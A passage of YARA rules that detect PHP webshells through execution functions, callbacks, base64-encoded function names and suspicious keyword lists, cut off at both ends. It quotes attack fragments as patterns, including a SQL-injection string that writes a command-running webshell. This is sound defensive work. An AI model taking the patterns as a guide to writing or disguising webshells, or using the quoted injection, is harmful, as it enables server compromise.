		$cpayload4 = /\bpassthru[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload5 = /\bsystem[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload6 = /\bpopen[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload7 = /\bproc_open[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload8 = /\bpcntl_exec[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload9 = /\bassert[\n\t ]{0,500}\([^)0]/ nocase wide ascii
		$cpayload10 = /\bpreg_replace[\n\t ]{0,500}\([^\)]{1,100}\/[ismxADSUXju]{0,11}(e|\\x65)/ nocase wide ascii
		$cpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload13 = /\bmb_eregi_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cpayload20 = /\bcreate_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload21 = /\bReflectionFunction[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$cpayload22 = /fetchall\(PDO::FETCH_FUNC[\n\t ]{0,500}[,}\)]/ nocase wide ascii
		$m_cpayload_preg_filter1 = /\bpreg_filter[\n\t ]{0,500}(\([^\)]|\/\*)/ nocase wide ascii
		$m_cpayload_preg_filter2 = "'|.{0,500}|e'" nocase wide ascii
		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
		$gen_bit_sus6 = "self.delete"
		$gen_bit_sus9 = "\"cmd /c" nocase
		$gen_bit_sus10 = "\"cmd\"" nocase
		$gen_bit_sus11 = "\"cmd.exe" nocase
		$gen_bit_sus12 = "%comspec%" wide ascii
		$gen_bit_sus13 = "%COMSPEC%" wide ascii
		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
		$gen_bit_sus21 = "\"upload\"" wide ascii
		$gen_bit_sus22 = "\"Upload\"" wide ascii
		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
		$gen_bit_sus24 = "fileupload" wide ascii
		$gen_bit_sus25 = "file_upload" wide ascii
		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
		$gen_bit_sus30 = "serv-u" wide ascii
		$gen_bit_sus31 = "Serv-u" wide ascii
		$gen_bit_sus32 = "Army" fullword wide ascii
		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
		$gen_bit_sus35 = "crack" fullword wide ascii
		$gen_bit_sus44 = "<pre>" wide ascii
		$gen_bit_sus45 = "<PRE>" wide ascii
		$gen_bit_sus46 = "shell_" wide ascii
		$gen_bit_sus50 = "bypass" wide ascii
		$gen_bit_sus52 = " ^ $" wide ascii
		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
		$gen_bit_sus57 = "dumper" wide ascii
		$gen_bit_sus59 = "'cmd'" wide ascii
		$gen_bit_sus60 = "\"execute\"" wide ascii
		$gen_bit_sus61 = "/bin/sh" wide ascii
		$gen_bit_sus62 = "Cyber" wide ascii
		$gen_bit_sus63 = "portscan" fullword wide ascii
		$gen_bit_sus66 = "whoami" fullword wide ascii
		$gen_bit_sus67 = "$password='" fullword wide ascii
		$gen_bit_sus68 = "$password=\"" fullword wide ascii
		$gen_bit_sus69 = "$cmd" fullword wide ascii
		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
		$gen_bit_sus71 = "Hacking" fullword wide ascii
		$gen_bit_sus72 = "hacking" fullword wide ascii
		$gen_bit_sus73 = ".htpasswd" wide ascii
		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
		$gen_bit_sus75 = "uploaded" fullword wide ascii
		$gen_much_sus7 = "Web Shell" nocase
		$gen_much_sus8 = "WebShell" nocase
		$gen_much_sus3 = "hidded shell"
		$gen_much_sus4 = "WScript.Shell.1" nocase
		$gen_much_sus5 = "AspExec"
		$gen_much_sus14 = "\\pcAnywhere\\" nocase
		$gen_much_sus15 = "antivirus" nocase
		$gen_much_sus16 = "McAfee" nocase
		$gen_much_sus17 = "nishang"
		$gen_much_sus18 = "\"unsafe" fullword wide ascii
		$gen_much_sus19 = "'unsafe" fullword wide ascii
		$gen_much_sus24 = "exploit" fullword wide ascii
		$gen_much_sus25 = "Exploit" fullword wide ascii
		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
		$gen_much_sus30 = "Hacker" wide ascii
		$gen_much_sus31 = "HACKED" fullword wide ascii
		$gen_much_sus32 = "hacked" fullword wide ascii
		$gen_much_sus33 = "hacker" wide ascii
		$gen_much_sus34 = "grayhat" nocase wide ascii
		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
		$gen_much_sus36 = "Rootkit" wide ascii
		$gen_much_sus37 = "rootkit" wide ascii
		$gen_much_sus38 = "/*-/*-*/" wide ascii
		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
		$gen_much_sus40 = "\"e\"+\"v" wide ascii
		$gen_much_sus41 = "a\"+\"l\"" wide ascii
		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
		$gen_much_sus43 = "q\"+\"u\"" wide ascii
		$gen_much_sus44 = "\"u\"+\"e" wide ascii
		$gen_much_sus45 = "/*//*/" wide ascii
		$gen_much_sus46 = "(\"/*/\"" wide ascii
		$gen_much_sus47 = "eval(eval(" wide ascii
		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
		$gen_much_sus49 = "Shell.Users" wide ascii
		$gen_much_sus50 = "PasswordType=Regular" wide ascii
		$gen_much_sus51 = "-Expire=0" wide ascii
		$gen_much_sus60 = "_=$$_" wide ascii
		$gen_much_sus61 = "_=$$_" wide ascii
		$gen_much_sus62 = "++;$" wide ascii
		$gen_much_sus63 = "++; $" wide ascii
		$gen_much_sus64 = "_.=$_" wide ascii
		$gen_much_sus70 = "-perm -04000" wide ascii
		$gen_much_sus71 = "-perm -02000" wide ascii
		$gen_much_sus72 = "grep -li password" wide ascii
		$gen_much_sus73 = "-name config.inc.php" wide ascii
		$gen_much_sus75 = "password crack" wide ascii
		$gen_much_sus76 = "mysqlDll.dll" wide ascii
		$gen_much_sus77 = "net user" wide ascii
		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
		$gen_much_sus81 = /strrev\(['"]/ wide ascii
		$gen_much_sus82 = "PHPShell" fullword wide ascii
		$gen_much_sus821 = "PHP Shell" fullword wide ascii
		$gen_much_sus83 = "phpshell" fullword wide ascii
		$gen_much_sus84 = "PHPshell" fullword wide ascii
		$gen_much_sus87 = "deface" wide ascii
		$gen_much_sus88 = "Deface" wide ascii
		$gen_much_sus89 = "backdoor" wide ascii
		$gen_much_sus90 = "r00t" fullword wide ascii
		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
		$gen_much_sus92 = "str_rot13" fullword wide ascii
		$gif = { 47 49 46 38 }
		$cmpayload1 = /\beval[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload2 = /\bexec[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload3 = /\bshell_exec[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload4 = /\bpassthru[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload5 = /\bsystem[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload6 = /\bpopen[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload7 = /\bproc_open[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload8 = /\bpcntl_exec[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload9 = /\bassert[\t ]{0,500}\([^)0]/ nocase wide ascii
		$cmpayload10 = /\bpreg_replace[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
		$cmpayload11 = /\bpreg_filter[\t ]{0,500}\([^\)]{1,100}\/e/ nocase wide ascii
		$cmpayload12 = /\bmb_ereg_replace[\t ]{0,500}\([^\)]{1,100}'e'/ nocase wide ascii
		$cmpayload20 = /\bcreate_function[\t ]{0,500}\([^)]/ nocase wide ascii
		$cmpayload21 = /\bReflectionFunction[\t ]{0,500}\([^)]/ nocase wide ascii
		$fp1 = "# Some examples from obfuscated malware:" ascii
		$fp2 = "{@see TFileUpload} for further details." ascii

	condition:
		not ( any of ( $gfp_tiny* ) or 1 of ( $fp* ) ) and ( ( ( $php_short in ( 0 .. 100 ) or $php_short in ( filesize - 1000 .. filesize ) ) and not any of ( $no_* ) ) or any of ( $php_new* ) ) and ( any of ( $inp* ) ) and ( any of ( $cpayload* ) or all of ( $m_cpayload_preg_filter* ) ) and ( ( filesize < 1000 and not any of ( $wfp_tiny* ) ) or ( ( $gif at 0 or ( filesize < 4KB and ( 1 of ( $gen_much_sus* ) or 2 of ( $gen_bit_sus* ) ) ) or ( filesize < 20KB and ( 2 of ( $gen_much_sus* ) or 3 of ( $gen_bit_sus* ) ) ) or ( filesize < 50KB and ( 2 of ( $gen_much_sus* ) or 4 of ( $gen_bit_sus* ) ) ) or ( filesize < 100KB and ( 2 of ( $gen_much_sus* ) or 6 of ( $gen_bit_sus* ) ) ) or ( filesize < 150KB and ( 3 of ( $gen_much_sus* ) or 7 of ( $gen_bit_sus* ) ) ) or ( filesize < 500KB and ( 4 of ( $gen_much_sus* ) or 8 of ( $gen_bit_sus* ) ) ) ) and ( filesize > 5KB or not any of ( $wfp_tiny* ) ) ) or ( filesize < 500KB and ( 4 of ( $cmpayload* ) ) ) )
}

rule WEBSHELL_PHP_Generic_Callback
{
	meta:
		description = "php webshell having some kind of input and using a callback to execute the payload. restricted to small files or would give lots of false positives"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		date = "2021/01/14"
		modified = "2023-09-18"
		score = 60
		hash = "e98889690101b59260e871c49263314526f2093f"
		hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
		hash = "81388c8cc99353cdb42572bb88df7d3bd70eefc748c2fa4224b6074aa8d7e6a2"
		hash = "27d3bfabc283d851b0785199da8b1b0384afcb996fa9217687274dd56a7b5f49"
		hash = "ee256d7cc3ceb2bf3a1934d553cdd36e3fbde62a02b20a1b748a74e85d4dbd33"
		hash = "4adc6c5373c4db7b8ed1e7e6df10a3b2ce5e128818bb4162d502056677c6f54a"
		hash = "1fe4c60ea3f32819a98b1725581ac912d0f90d497e63ad81ccf258aeec59fee3"
		hash = "2967f38c26b131f00276bcc21227e54ee6a71881da1d27ec5157d83c4c9d4f51"
		hash = "1ba02fb573a06d5274e30b2b05573305294497769414e964a097acb5c352fb92"
		hash = "f4fe8e3b2c39090ca971a8e61194fdb83d76fadbbace4c5eb15e333df61ce2a4"
		hash = "badda1053e169fea055f5edceae962e500842ad15a5d31968a0a89cf28d89e91"
		hash = "0a29cf1716e67a7932e604c5d3df4b7f372561200c007f00131eef36f9a4a6a2"
		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
		hash = "de1ef827bcd3100a259f29730cb06f7878220a7c02cee0ebfc9090753d2237a8"
		hash = "487e8c08e85774dfd1f5e744050c08eb7d01c6877f7d03d7963187748339e8c4"
		id = "e33dba84-bbeb-5955-a81b-2d2c8637fb48"

	strings:
		$gfp1 = "eval(\"return [$serialised_parameter"
		$gfp2 = "$this->assert(strpos($styles, $"
		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
		$gfp5 = "$_POST[partition_by]($_POST["
		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
		$gfp11 = "(eval (getenv \"EPROLOG\")))"
		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
		$gfp_tiny3 = "include \"./common.php\";"
		$gfp_tiny4 = "assert('FALSE');"
		$gfp_tiny5 = "assert(false);"
		$gfp_tiny6 = "assert(FALSE);"
		$gfp_tiny7 = "assert('array_key_exists("
		$gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
		$gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
		$gfp_tiny10 = "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
		$inp1 = "php://input" wide ascii
		$inp2 = /_GET\s?\[/ wide ascii
		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
		$inp4 = /_POST\s?\[/ wide ascii
		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
		$inp6 = /_REQUEST\s?\[/ wide ascii
		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
		$inp15 = "_SERVER['HTTP_" wide ascii
		$inp16 = "_SERVER[\"HTTP_" wide ascii
		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
		$inp18 = "array_values($_SERVER)" wide ascii
		$inp19 = /file_get_contents\("https?:\/\// wide ascii
		$callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
		$m_callback2 = "FILTER_CALLBACK" fullword wide ascii
		$cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
		$cfp2 = "IWPML_Backend_Action_Loader" ascii wide
		$cfp3 = "<?phpclass WPML" ascii
		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
		$gen_bit_sus6 = "self.delete"
		$gen_bit_sus9 = "\"cmd /c" nocase
		$gen_bit_sus10 = "\"cmd\"" nocase
		$gen_bit_sus11 = "\"cmd.exe" nocase
		$gen_bit_sus12 = "%comspec%" wide ascii
		$gen_bit_sus13 = "%COMSPEC%" wide ascii
		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
		$gen_bit_sus21 = "\"upload\"" wide ascii
		$gen_bit_sus22 = "\"Upload\"" wide ascii
		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
		$gen_bit_sus24 = "fileupload" wide ascii
		$gen_bit_sus25 = "file_upload" wide ascii
		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
		$gen_bit_sus30 = "serv-u" wide ascii
		$gen_bit_sus31 = "Serv-u" wide ascii
		$gen_bit_sus32 = "Army" fullword wide ascii
		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
		$gen_bit_sus35 = "crack" fullword wide ascii
		$gen_bit_sus44 = "<pre>" wide ascii
		$gen_bit_sus45 = "<PRE>" wide ascii
		$gen_bit_sus46 = "shell_" wide ascii
		$gen_bit_sus50 = "bypass" wide ascii
		$gen_bit_sus52 = " ^ $" wide ascii
		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
		$gen_bit_sus57 = "dumper" wide ascii
		$gen_bit_sus59 = "'cmd'" wide ascii
		$gen_bit_sus60 = "\"execute\"" wide ascii
		$gen_bit_sus61 = "/bin/sh" wide ascii
		$gen_bit_sus62 = "Cyber" wide ascii
		$gen_bit_sus63 = "portscan" fullword wide ascii
		$gen_bit_sus66 = "whoami" fullword wide ascii
		$gen_bit_sus67 = "$password='" fullword wide ascii
		$gen_bit_sus68 = "$password=\"" fullword wide ascii
		$gen_bit_sus69 = "$cmd" fullword wide ascii
		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
		$gen_bit_sus71 = "Hacking" fullword wide ascii
		$gen_bit_sus72 = "hacking" fullword wide ascii
		$gen_bit_sus73 = ".htpasswd" wide ascii
		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
		$gen_much_sus7 = "Web Shell" nocase
		$gen_much_sus8 = "WebShell" nocase
		$gen_much_sus3 = "hidded shell"
		$gen_much_sus4 = "WScript.Shell.1" nocase
		$gen_much_sus5 = "AspExec"
		$gen_much_sus14 = "\\pcAnywhere\\" nocase
		$gen_much_sus15 = "antivirus" nocase
		$gen_much_sus16 = "McAfee" nocase
		$gen_much_sus17 = "nishang"
		$gen_much_sus18 = "\"unsafe" fullword wide ascii
		$gen_much_sus19 = "'unsafe" fullword wide ascii
		$gen_much_sus24 = "exploit" fullword wide ascii
		$gen_much_sus25 = "Exploit" fullword wide ascii
		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
		$gen_much_sus30 = "Hacker" wide ascii
		$gen_much_sus31 = "HACKED" fullword wide ascii
		$gen_much_sus32 = "hacked" fullword wide ascii
		$gen_much_sus33 = "hacker" wide ascii
		$gen_much_sus34 = "grayhat" nocase wide ascii
		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
		$gen_much_sus36 = "Rootkit" wide ascii
		$gen_much_sus37 = "rootkit" wide ascii
		$gen_much_sus38 = "/*-/*-*/" wide ascii
		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
		$gen_much_sus40 = "\"e\"+\"v" wide ascii
		$gen_much_sus41 = "a\"+\"l\"" wide ascii
		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
		$gen_much_sus43 = "q\"+\"u\"" wide ascii
		$gen_much_sus44 = "\"u\"+\"e" wide ascii
		$gen_much_sus45 = "/*//*/" wide ascii
		$gen_much_sus46 = "(\"/*/\"" wide ascii
		$gen_much_sus47 = "eval(eval(" wide ascii
		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
		$gen_much_sus49 = "Shell.Users" wide ascii
		$gen_much_sus50 = "PasswordType=Regular" wide ascii
		$gen_much_sus51 = "-Expire=0" wide ascii
		$gen_much_sus60 = "_=$$_" wide ascii
		$gen_much_sus61 = "_=$$_" wide ascii
		$gen_much_sus62 = "++;$" wide ascii
		$gen_much_sus63 = "++; $" wide ascii
		$gen_much_sus64 = "_.=$_" wide ascii
		$gen_much_sus70 = "-perm -04000" wide ascii
		$gen_much_sus71 = "-perm -02000" wide ascii
		$gen_much_sus72 = "grep -li password" wide ascii
		$gen_much_sus73 = "-name config.inc.php" wide ascii
		$gen_much_sus75 = "password crack" wide ascii
		$gen_much_sus76 = "mysqlDll.dll" wide ascii
		$gen_much_sus77 = "net user" wide ascii
		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
		$gen_much_sus81 = /strrev\(['"]/ wide ascii
		$gen_much_sus82 = "PHPShell" fullword wide ascii
		$gen_much_sus821 = "PHP Shell" fullword wide ascii
		$gen_much_sus83 = "phpshell" fullword wide ascii
		$gen_much_sus84 = "PHPshell" fullword wide ascii
		$gen_much_sus87 = "deface" wide ascii
		$gen_much_sus88 = "Deface" wide ascii
		$gen_much_sus89 = "backdoor" wide ascii
		$gen_much_sus90 = "r00t" fullword wide ascii
		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
		$gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
		$gen_much_sus93 = "eval(\"/*" wide ascii
		$gen_much_sus94 = "http_response_code(404)" wide ascii
		$gif = { 47 49 46 38 }

	condition:
		not ( any of ( $gfp* ) ) and not ( any of ( $gfp_tiny* ) ) and ( any of ( $inp* ) ) and ( not any of ( $cfp* ) and ( any of ( $callback* ) or all of ( $m_callback* ) ) ) and ( filesize < 1000 or ( $gif at 0 or ( filesize < 4KB and ( 1 of ( $gen_much_sus* ) or 2 of ( $gen_bit_sus* ) ) ) or ( filesize < 20KB and ( 2 of ( $gen_much_sus* ) or 3 of ( $gen_bit_sus* ) ) ) or ( filesize < 50KB and ( 2 of ( $gen_much_sus* ) or 4 of ( $gen_bit_sus* ) ) ) or ( filesize < 100KB and ( 2 of ( $gen_much_sus* ) or 6 of ( $gen_bit_sus* ) ) ) or ( filesize < 150KB and ( 3 of ( $gen_much_sus* ) or 7 of ( $gen_bit_sus* ) ) ) or ( filesize < 500KB and ( 4 of ( $gen_much_sus* ) or 8 of ( $gen_bit_sus* ) ) ) ) )
}

rule WEBSHELL_PHP_Base64_Encoded_Payloads : FILE
{
	meta:
		description = "php webshell containing base64 encoded payload"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		reference = "Internal Research"
		score = 75
		date = "2021/01/07"
		modified = "2023-04-05"
		hash = "88d0d4696c9cb2d37d16e330e236cb37cfaec4cd"
		hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
		hash = "e726cd071915534761822805724c6c6bfe0fcac604a86f09437f03f301512dc5"
		hash = "39b8871928d00c7de8d950d25bff4cb19bf9bd35942f7fee6e0f397ff42fbaee"
		hash = "8cc9802769ede56f1139abeaa0735526f781dff3b6c6334795d1d0f19161d076"
		hash = "4cda0c798908b61ae7f4146c6218d7b7de14cbcd7c839edbdeb547b5ae404cd4"
		hash = "afd9c9b0df0b2ca119914ea0008fad94de3bd93c6919f226b793464d4441bdf4"
		hash = "b2048dc30fc7681094a0306a81f4a4cc34f0b35ccce1258c20f4940300397819"
		hash = "da6af9a4a60e3a484764010fbf1a547c2c0a2791e03fc11618b8fc2605dceb04"
		hash = "222cd9b208bd24955bcf4f9976f9c14c1d25e29d361d9dcd603d57f1ea2b0aee"
		hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
		hash = "6b6cd1ef7e78e37cbcca94bfb5f49f763ba2f63ed8b33bc4d7f9e5314c87f646"
		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
		hash = "e2b1dfcfaa61e92526a3a444be6c65330a8db4e692543a421e19711760f6ffe2"
		id = "4e42b47d-725b-5e1f-9408-6c6329f60506"

	strings:
		$decode1 = "base64_decode" fullword nocase wide ascii
		$decode2 = "openssl_decrypt" fullword nocase wide ascii
		$one1 = "leGVj"
		$one2 = "V4ZW"
		$one3 = "ZXhlY"
		$one4 = "UAeABlAGMA"
		$one5 = "lAHgAZQBjA"
		$one6 = "ZQB4AGUAYw"
		$two1 = "zaGVsbF9leGVj"
		$two2 = "NoZWxsX2V4ZW"
		$two3 = "c2hlbGxfZXhlY"
		$two4 = "MAaABlAGwAbABfAGUAeABlAGMA"
		$two5 = "zAGgAZQBsAGwAXwBlAHgAZQBjA"
		$two6 = "cwBoAGUAbABsAF8AZQB4AGUAYw"
		$three1 = "wYXNzdGhyd"
		$three2 = "Bhc3N0aHJ1"
		$three3 = "cGFzc3Rocn"
		$three4 = "AAYQBzAHMAdABoAHIAdQ"
		$three5 = "wAGEAcwBzAHQAaAByAHUA"
		$three6 = "cABhAHMAcwB0AGgAcgB1A"
		$four1 = "zeXN0ZW"
		$four2 = "N5c3Rlb"
		$four3 = "c3lzdGVt"
		$four4 = "MAeQBzAHQAZQBtA"
		$four5 = "zAHkAcwB0AGUAbQ"
		$four6 = "cwB5AHMAdABlAG0A"
		$five1 = "wb3Blb"
		$five2 = "BvcGVu"
		$five3 = "cG9wZW"
		$five4 = "AAbwBwAGUAbg"
		$five5 = "wAG8AcABlAG4A"
		$five6 = "cABvAHAAZQBuA"
		$six1 = "wcm9jX29wZW"
		$six2 = "Byb2Nfb3Blb"
		$six3 = "cHJvY19vcGVu"
		$six4 = "AAcgBvAGMAXwBvAHAAZQBuA"
		$six5 = "wAHIAbwBjAF8AbwBwAGUAbg"
		$six6 = "cAByAG8AYwBfAG8AcABlAG4A"
		$seven1 = "wY250bF9leGVj"
		$seven2 = "BjbnRsX2V4ZW"
		$seven3 = "cGNudGxfZXhlY"
		$seven4 = "AAYwBuAHQAbABfAGUAeABlAGMA"
		$seven5 = "wAGMAbgB0AGwAXwBlAHgAZQBjA"
		$seven6 = "cABjAG4AdABsAF8AZQB4AGUAYw"
		$eight1 = "ldmFs"
		$eight2 = "V2YW"
		$eight3 = "ZXZhb"
		$eight4 = "UAdgBhAGwA"
		$eight5 = "lAHYAYQBsA"
		$eight6 = "ZQB2AGEAbA"
		$nine1 = "hc3Nlcn"
		$nine2 = "Fzc2Vyd"
		$nine3 = "YXNzZXJ0"
		$nine4 = "EAcwBzAGUAcgB0A"
		$nine5 = "hAHMAcwBlAHIAdA"
		$nine6 = "YQBzAHMAZQByAHQA"
		$execu1 = "leGVjd"
		$execu2 = "V4ZWN1"
		$execu3 = "ZXhlY3"
		$esystem1 = "lc3lzdGVt"
		$esystem2 = "VzeXN0ZW"
		$esystem3 = "ZXN5c3Rlb"
		$opening1 = "vcGVuaW5n"
		$opening2 = "9wZW5pbm"
		$opening3 = "b3BlbmluZ"
		$fp1 = { D0 CF 11 E0 A1 B1 1A E1 }
		$fp2 = "YXBpLnRlbGVncmFtLm9"
		$fp3 = " GET /"
		$fp4 = " POST /"
		$fpa1 = "/cn=Recipients"
		$php_short = "<?" wide ascii
		$no_xml1 = "<?xml version" nocase wide ascii
